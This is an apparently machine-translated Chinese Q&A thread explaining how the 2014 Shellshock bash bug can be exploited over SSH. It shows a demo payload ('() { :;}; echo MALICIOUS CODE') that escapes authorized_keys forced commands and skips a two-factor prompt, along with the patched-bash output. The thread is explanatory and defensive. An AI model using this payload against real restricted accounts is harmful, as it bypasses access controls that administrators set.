如何通过SSH利用Shellshock?


68

显然,可以通过SSH通过网络利用Shellshock Bash利用CVE-2014-6271。我可以想象该漏洞利用将如何通过Apache / CGI起作用,但是我无法想象它将如何通过SSH起作用?

有人可以提供一个示例,说明如何利用SSH,并对系统造成什么危害?

澄清说明

在AFAIU中,只有经过身份验证的用户才能通过SSH利用此漏洞。对于无论如何都可以合法访问系统的人,此漏洞利用有什么用?我的意思是,此漏洞利用没有特权升级(他不能成为root用户),因此,他仅通过SSH合法登录后就无法做其他事情。


简而言之,除非有人已经可以访问您的邮箱,否则无法完成此操作。仅在成功登录尝试后才执行新的bash shell。
Evert 2014年

它主要是媒体的炒作,它可以发生,但没有想象的那么糟糕。
jgr208 2014年

用户名是否逐字记录到日志中?如果是的话,也许存在一个在某处容易受到攻击的logparsing bash脚本……
PlasmaHH 2014年

1
@PlasmaHH如果您以root身份运行日志解析脚本,则应得到的回报。
2014年

@Barmar:除了这个问题不是专门用于获得root用户访问权限,而是访问机器(可能是破坏机器或造成其他危害所需的全部操作),当您可以运行代码时,很可能您也可以运行利用其他可以让您扎根的东西的代码。
PlasmaHH 2014年

Answers:


79

可以利用此示例的一个示例是在带有authorized_keys强制命令的服务器上。在上添加条目时~/.ssh/authorized_keys,您可以在该行前面加上前缀,command="foo"以强制foo在使用ssh公钥的任何时间运行该行。使用此漏洞利用程序,如果目标用户的外壳程序设置为bash,则他们可以利用漏洞利用程序来执行除强制执行命令以外的其他操作。

在示例中,这可能更有意义,所以这里是一个示例:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

在这里,我们设置了一个用户testuser,该用户使用您的ssh密钥强制任何ssh连接运行echo starting sleep; sleep 1

我们可以使用以下方法进行测试:

$ ssh testuser@localhost echo something else
starting sleep

请注意,我们echo something else是如何无法运行的,但是starting sleep显示了强制命令确实已运行。

现在让我们展示如何利用此漏洞:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

之所以sshd可行,是因为将SSH_ORIGINAL_COMMAND环境变量设置为所传递的命令。因此,即使sshd运行了sleep,但我没有告诉我的命令,由于受到了攻击,我的代码仍然可以运行。


1
请尝试以下操作:ssh testuser@localhost echo something else '`whoami`' 为了证明命令在何处执行
理查德(Richard)

1
我想在这个答案中补充一点,就SSH而言,此漏洞利用仅允许具有授权密钥(授权密钥可以视为长密码)的授权用户运行通常不被授权运行的命令。它不允许没有该授权密钥的人执行任何操作。如果您对SSH以及authorized_key的含义不了解,我认为从答案中看不出来。
克里斯·龙

@skrewler通常这是您误解某些内容的好兆头。例如,答案是说明管理员如何为testuser提供了所提供的帐户设置,testuser如何能够摆脱他们所给予的限制。不,bash的参与并不意味着您可以利用shellshock。仅当bash具有权限运行时,该用户通常才没有权限,但是该用户对该bash的环境变量具有影响力。
帕特里克

好的,我得到了您想要显示的内容-一种将testuser限制为.authorized_keys中的命令而非登录Shell的设置。对我来说,编辑您自己的.authorized_keys w /具有在您已经具有shell访问权限时执行命令的条目(因为这将不提供特权执行)对我来说没有任何意义。编辑:删除注释,我已得到纠正。
skrewler '18

26

在Ramesh的示例上进行扩展-如果您使用两因素身份验证,则可以利用此漏洞利用绕过第二因素,具体取决于实施方式。

—正常登录—

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

—在没有2FA的情况下运行代码—

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

您会注意到它在不提示输入2FA的情况下运行了代码。

—修补bash之后—

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

1
只是为了限制使用第二个因素的最终读者的恐慌:“取决于它的实现方式”-我想您已经假设这里的第二个因素是在bash中实现或使用read功能。否则-用户是安全的。
Grzegorz Wierzowiecki 2014年

25

Shellshock是bash而非SSH上的漏洞。为了利用它,攻击者需要使易受攻击的系统运行bash,并控制将传递给bash的环境变量的值。

为了通过SSH达到bash进程,攻击者需要通过身份验证步骤。(可能存在通过其他网络服务的攻击媒介,但它们不在此线程的范围内。)如果仍然允许该帐户运行任意Shell命令,则不会发生攻击。如果该帐户被限制只能运行特定命令,则此漏洞将发挥作用:例如,仅SFTP帐户或仅git帐户等。

有几种方法可以限制帐户使用SSH运行特定命令:使用中的ForceCommand选项sshd_config或使用command=authorized_keys文件中的限制。如果用户的shell是bash,则Shellshock漏洞将使通常只有权访问受限制帐户的用户绕过限制并执行任意命令。


这不适用于其他shell,例如zsh
Eir Nym,2015年
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.